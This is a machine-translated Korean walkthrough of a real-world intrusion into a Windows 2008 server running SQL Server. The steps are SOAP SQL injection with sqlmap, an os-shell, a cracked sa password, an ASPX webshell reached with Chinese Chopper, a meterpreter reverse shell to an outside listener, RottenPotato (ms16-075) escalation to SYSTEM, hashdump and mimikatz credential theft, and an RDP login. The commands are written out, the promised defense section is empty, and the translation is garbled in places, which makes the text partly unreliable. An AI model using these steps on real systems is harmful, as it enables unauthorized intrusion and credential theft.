실제 성공적인 침투 과정에서 취약점 악용은 여러 기술의 통합, 최신 기술의 실천입니다. 이 침투는 sqlmap을 사용하여 주입 지점을 확인하고 sqlmap을 통해 웹쉘을 획득한 후 msf를 결합하여 권한 상승을 수행합니다. ms16-075 을 통해 최종적으로 대상 서버의 시스템 권한을 얻었습니다. 이 문서는 취약점 악용의 새로운 확장입니다. 기존 Nday 권한 에스컬레이션이 실패할 경우 ms16-075 성공적인 권한 에스컬레이션의 전형적인 사례가 msf와 결합됩니다.
1.1.1 비누 주입 취약점 검색
1. awvs의 웹 서비스 스캐너를 사용하여 취약점을 검색합니다. 그림 1과 같이 awvs를 열고 웹 서비스 스캐너를 선택하여 취약점을 검색합니다. wsdl url의 url 주소는 asmx?wsdl이어야 하며 일부는 asmx 파일을 가지고 있습니다. 그렇지 않은 경우 직접 채울 수 있습니다(예: http://1**.***.***). ***:8081/?wsdl.
그림 1 비누 주입 취약점 스캔 수행
2. sql 블라인드 주입 처리
awvs 스캐닝을 통해 URL 주소에 sql 블라인드 주입(26개소)이 있는지 확인하고, awvs에서 오른쪽을 클릭합니다. "http 헤더 보기", 해당 내용을 텍스트 파일에 복사하고 취약한 명령문을 처리합니다. 이 경우 예:
빨간색 텍스트 부분을 "-1*"로 바꿔야 합니다.
3. 전체 헤더 패키지에는 다음 콘텐츠가 포함되어 있습니다.
POST /Service1.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/ZcpdList"
Content - 길이: 716
X-요청-함께: XMLHttpRequest
Referer: http://1**.***.***.***:8081/?wsdl
Host: 1**.* * *.***.***:8081
연결: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0(Windows NT 6.1; WOW64) AppleWebKit/537.21(KHTML, Gecko와 유사) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
< ;urn:ZcpdList>
ory_dhs>
Response
1.1.2 확인 비누 주입 취약점
1. sqlmap을 사용하여 sql 주입 취약점이 있는지 탐지합니다. 이전 헤더를 추가하고 내용을 1**.***.***.***.txt로 저장하고 파일을 복사합니다. sqlmap.py 프로그램이 있는 디렉터리로 이동하여 sqlmap.py -r 1**.***.***.***.txt 명령을 실행하고 sqlmap에서 표시하는 정보를 확인하세요.
custom '--data' 옵션에 주입 마커('*')가 있습니다. [Y/n/ q] [color=Red]y[/color]
SOAP/XML 데이터가 POST 데이터에 있습니다. [Y/n/q][color=Red]y[/color]
그림 2와 같이 sqlmap에서 SQL 주입 취약점이 존재함을 확인하였으며, 데이터베이스 서버는 Windows입니다. 2008 R2의 경우 데이터베이스 버전은 SQL Server 2008이고 SOAP 취약점은 통합 쿼리입니다.
그림 2 비누 주입 취약점이 있습니다
2. 데이터베이스에 dba 권한이 있는지 확인합니다. (1) 그림 3과 같이 테스트용 매개 변수를 자동으로 제출하고 sqlmap.py -r 1 명령을 실행합니다. **.** *.***.***.txt --is-dba --batch도 y를 두 번 확인해야 합니다. "batch" 매개변수를 사용하므로 sqlmap이 자동으로 판단 값을 제출합니다.
그림 3 판단을 위한 매개변수 자동 제출
(2) 현재 데이터베이스에서 사용되는 사용자의 dba 계정을 얻습니다. 그림 4에서 볼 수 있듯이 현재 사용자는 sqlmap에서 dba이며 표시된 결과는 true입니다. 이 결과는 데이터베이스가 sa 권한을 사용하고 os-shell 매개변수를 통해 웹쉘을 얻을 수 있음을 보여줍니다.
그림 4는 DBA 계정인지 여부를 결정합니다
3. sa 계정 비밀번호 가져오기
그림 5와 같이 sqlmap.py -r 1**.***.***.***.txt --password --batch 명령을 사용하여 직접 가져옵니다. 데이터베이스 연결 모든 계정에 해당하는 비밀번호 값:
그림 5 sa 계정 비밀번호 얻기
4 sqlmap을 통해 데이터베이스 비밀번호 해시 값을 성공적으로 얻었습니다:
## MS_PolicyEventProcessingLogin## [ 1]:
비밀번호 해시: 0x01001a7b0c5b5b347506dbc67aa8ffa2ad20f852076d8446a838 ##MS_PolicyTsqlExecutionLogin## [1]:
비밀번호 해시: 0x01006c 64 43e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:
password hash: 0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28 sa "0x0에 해당하는 비밀번호 값 변경 10 0b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28 " at www.cmd5.com 그림 6과 같이 쿼리를 수행하면 암호 해독 결과는 "qaz123WSX"입니다.
그림 6 복호화된 sa 비밀번호 해시 값
1.1.3 --os-shell1을 통해 webshell을 가져오고 sqlmap에서 명령을 실행합니다: sqlmap.py -r 1**. .***.***.txt --os-shell, sqlmap 실행창에서 정보 확인:
sqlmap.py -r 1**.***.*을 실행할 수도 있습니다. ** .***.txt --os-shell --batch 명령은 수동으로 입력할 필요가 없습니다.
2. 웹 프로그램이 위치한 디렉터리 찾기
(1) 파일 및 디렉터리 보기
dir c: 명령을 실행한 후 c 디렉터리와 파일을 볼 수 있으며, 계속해서 "dir c:inetpubwwwroot"를 볼 수 있습니다. " 폴더에 웹 프로그램이 없으므로 이 디렉터리를 제외합니다.
그림 7 파일 및 디렉터리 보기
(2) 웹 사이트의 실제 디렉터리 획득 c, d, e, f 디스크를 차례로 열람하여 e 디스크에서 의심되는 웹 사이트 프로그램 파일을 획득하고, 그림 8과 같이 dir e:softwareAMS_NoFlow 명령을 사용하여 을 확인합니다.
그림 8 웹 사이트 파일 보기
3. 웹 사이트의 실제 디렉터리 테스트
(1) 파일 테스트 생성 그림 9와 같이 echo 명령을 사용합니다: echo "thisis test">e :softwareAMS_NoFlowt.txt , 웹사이트의 루트 디렉터리에 t.txt 파일을 생성합니다. 내용은 이 테스트입니다.
그림 9 생성된 파일
(2) 웹사이트 접속 테스트
브라우저에 http://1**.***.***.***/1.txt 주소를 입력하여 테스트를 진행하면 그림 10과 같이 얻은 콘텐츠가 예상과 일치합니다. 디렉터리는 웹사이트의 실제 물리적 주소입니다.
그림 10 웹 사이트 액세스 테스트
4 web.config 구성 파일의 내용 가져오기
os-shell에서 e:softwareAMS_NoFlowweb.config 명령을 실행하여 웹 내용을 확인합니다. sqlmap의 config 파일 설정 문제로 인해 명령 창의 전체 내용이 표시되지 않을 수 있습니다. 그러나 sqlmap은 그림 11과 같이 출력 디렉터리에 자세한 정보를 유지합니다. 해당 로그 파일을 열면 볼 수 있습니다. sa 계정에 해당하는 비밀번호는 qaz123WSX입니다. 이는 이전에 크랙된 sa 비밀번호와 일치합니다.
그림 11 web.config 구성 파일의 내용 보기
5. IP 주소 정보 얻기
그림 12와 같이 os-shell에서 ipconfig 명령을 실행하여 IP 주소 구성을 얻습니다. 대상 이 경우 대상은 독립적인 외부 IP와 내부 IP 주소로 구성되며, 기타 명령은 os-shell에서 실행할 수 있습니다.
그림 12 IP 주소 획득
6. 웹셸 테스트 획득
(1) 셸 파일 생성
os-shell에서 명령 실행:
echo ^^ e:softwareAMS_NoFlowcmd.aspx
그림 13과 같이 에코 결과는 1입니다. 다른 정보는 없고 파일 생성 명령이 성공한 것 같습니다.
그림 13 웹셸 생성
(2) 웹셸 얻기 Chinese Chopper 백도어 관리 도구를 사용하여 그림과 같이 한 문장의 백도어 비밀번호인 pass로 http://1**.***.***.***/cmd.aspx 레코드를 생성합니다. 그림 14에서는 연결이 성공하고 웹쉘을 성공적으로 획득한 것을 보여줍니다.
그림 14 webshell 획득
1.1.4 기존 방법으로 권한 에스컬레이션에 실패함
1. os-shell에서 명령 실행:
2. 제안 프로그램 Windows-Exploit-Suggester 다운로드 주소: https://github.com/GDSSecurity/Windows-Exploit-Suggester/
3. 취약점 라이브러리 업데이트 및 취약점 비교 수행 Python에서 windows-exploit-suggester.py 실행 - u 취약점 라이브러리 업데이트 및 비교: windows-exploit-suggester.py --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > 그림 15에 표시된 대로.
취약점 비교를 위한 그림 15
4. 취약점 상황 확인 그림 16과 같이 C:Python27 디렉터리에 있는 SYD1-0081DSB-day.txt 파일을 열면 프로그램이 취약점을 결정하는 것을 볼 수 있습니다. 운영체제가 Windows 2008 R2 버전이고, 다수의 취약점이 존재하는 것으로 확인되었으며, 최신 취약점은 ms16-075입니다.
그림 16 취약점 상황 확인
5. 취약점 번호에 따라 exp 파일을 찾아 정리하고 대상 서버에서 권한 에스컬레이션 테스트를 수행합니다. -075exp, 테스트가 모두 실패했으며 권한을 에스컬레이션할 수 없습니다.
1.1.5 msf를 사용하여 ms16-075 권한 에스컬레이션 수행
1. msf를 사용하여 리바운드 트로이 목마 생성
msf 아래 명령 실행:
여기서 windows/meterpreter/reverse_tcp 리바운드 포트 유형, lhost는 리바운드 포트입니다. IP 주소는 독립 서버이거나 외부 네트워크 포트 매핑이어야 합니다. 즉, 리바운드 포트는 4433이어야 합니다. 생성된 프로그램.
2. 리스닝 서버에서 리스닝 명령을 실행합니다
(1) msf
msfconsole
을 시작합니다. (2) 미터프리터 매개변수 구성
3. 4433.exe 프로그램을 대상 서버에 업로드합니다. 실행해 보세요
4433.exe 파일을 대상 서버에 업로드하고 Chinese Color Knife나 os-shell을 통해 실행해 보세요.
4. 시스템 정보 보기
그림 17과 같이 대상은 수신 서버로 반송되어 sysinfo를 실행하고 시스템 정보를 얻습니다.
그림 17 시스템 정보 가져오기
5. 미터프리터에 내장된 권한 에스컬레이션 기능 사용 실패
그림 18과 같이 미터프리터에서 getuid 및 getsystem 명령을 각각 실행했지만 권한 에스컬레이션에 실패했습니다.
그림 18 기본 미터프리터를 사용하여 권한을 에스컬레이션하지 못했습니다
6. ms16-075를 사용하여 권한을 에스컬레이션하세요
(1) ms16-075는 exp https://github.com/foxglovesec/을 사용하여 다운로드할 수 있습니다. RottenPotato
(2) 감자 파일 업로드
웹쉘을 통해 Potato.exe 파일을 업로드하거나 msf 아래 명령을 실행하여 업로드: upload /root/potato.exe
(3) 시스템 권한 얻기 다음 명령을 실행합니다. 시퀀스:
그림 19와 같이 시스템 권한을 성공적으로 획득했습니다.
그림 19 시스템 권한 토큰 획득
(4) 시스템 권한을 획득하고 각각 다음 명령을 실행합니다.
그림 20과 같이 시스템 권한을 성공적으로 획득했습니다.
그림 20 시스템 권한 얻기
(5) 비밀번호 얻기
meterpreter에서 명령을 실행합니다. 그림 21과 같이 hashdump 명령을 실행하면 서버 비밀번호 해시 값을 성공적으로 얻을 수 있습니다. Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581dea603253c7920:::
사진 21 비밀번호 받기
at In 이 예에서는 일반 텍스트 암호를 얻기 위해 mimikatz 로드가 계속 사용되지만 획득 효과는 이상적이지 않습니다. kerberos, Livessp, msv, ssp, tspkg, wdigest 명령을 실행하면 일반 텍스트 암호를 얻을 수도 있습니다. mimikatz_command 명령을 실행하고 mimikatz 명령 프롬프트를 입력합니다.
(6) ntml 비밀번호 크래킹 크래킹하려면 ntml 비밀번호 해시 값 a59a64a645487c1581dea603253c7920을 cmd5.com에 복사하세요. cmd5에는 결제가 필요합니다. http://www.objectif-securite.ch/en/ophcrack.php로 이동할 수도 있습니다. https://www.somd5.com/ 웹사이트는 그림 22와 같이 비밀번호 크래킹을 수행하고 성공적으로 비밀번호를 크랙합니다.
그림 22 ntlm 해시 값 크랙
7 nmap -sS -Pn -A 1**.***.***.*** 또는 Masscan -p 1을 통해 서버에 로그인합니다. -65535 1**.***.***.*** 포트 스캔을 수행한 결과 서버가 3389 포트를 열었음을 확인했습니다. mstsc를 사용하여 로그인합니다. 그림 23과 같이 서버에 성공적으로 로그인했습니다.
그림 23 서버 로그인 성공
1.1.6 요약 및 방어
1. 이번 침투의 주요 명령어 요약
(1) sqlmap 실행 명령어
(2 ) os- 셸
ipconfigdir c:/echo "thisis test">e:softwareAMS_NoFlowt.txtecho ^^ > e:softwareAMS_NoFlowcmd.aspx
(3) msf에서 다음 명령을 실행하여 리바운드 트로이 목마를 생성합니다.
(4) msf 시작 및 모니터링
msfconsoleuse explore /multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33 (실제로는 외부 IP 주소) set LPORT 4433exploit
(5) ms16-075 권한 에스컬레이션 명령
시크릿 사용 목록_토큰 - uexecute -cH -f ./potato.exelist_tokens -u impersonate_token "NT AUTHORITY\SYSTEM" getuid
(6) 비밀번호 가져오기 run hashdump
(7) 비밀번호 취득을 위한 mimikatz
load mimikatzkerberos, Livesp, msv, ssp, tspkg, wdigest (하나씩 명령 테스트, 일부는 일반 텍스트 비밀번호 표시) mimikatz_command: mimikatz 명령 프롬프트 창
(8) mimikatz 명령줄에서 비밀번호 얻기(테스트되지 않음)
2.
위 내용은 sql2008 서버에 비누를 주입하고 이를 msf와 결합하여 권한을 상승시키는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!